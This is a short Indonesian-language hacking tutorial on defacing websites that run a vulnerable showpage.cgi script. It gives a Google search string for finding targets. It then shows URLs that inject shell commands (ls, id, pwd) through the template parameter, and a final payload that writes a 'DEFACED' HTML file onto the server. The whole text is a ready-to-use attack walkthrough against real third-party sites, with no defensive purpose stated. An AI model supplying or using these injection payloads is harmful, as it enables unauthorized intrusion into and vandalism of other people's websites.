DEFACING-showpage.cgi

1. Bukalah www.google.com lalu ketikkan keyword:

allinurl: showpage.cgi?template=



2. Jika target telah didapatkan, misalnya:

http://www.spyrozone.net/showpage.cgi?template=template5.html&tekst=1.txt Ubah menjadi:

http://www.spyrozone.net/showpage.cgi?template=template5.html|ls -la|&tekst=1.txt



Lihat UID user:

http://www.spyrozone.net/showpage.cgi?template=template5.html|id|&tekst=1.txt



Lihat dimana directory utamanya:

http://www.spyrozone.net/showpage.cgi?template=template5.html|pwd|&tekst=1.txt



Maka akan munculkurang lebih demikian:

/home/SPYRO/site/web

Saatnya defacing....

http://www.spyrozone.net/showpage.cgi?template=template5.html|echo "DEFACED by SPYRO KiD" > SPYRO.html|&tekst=1.txt


sharing with: spyrozone.net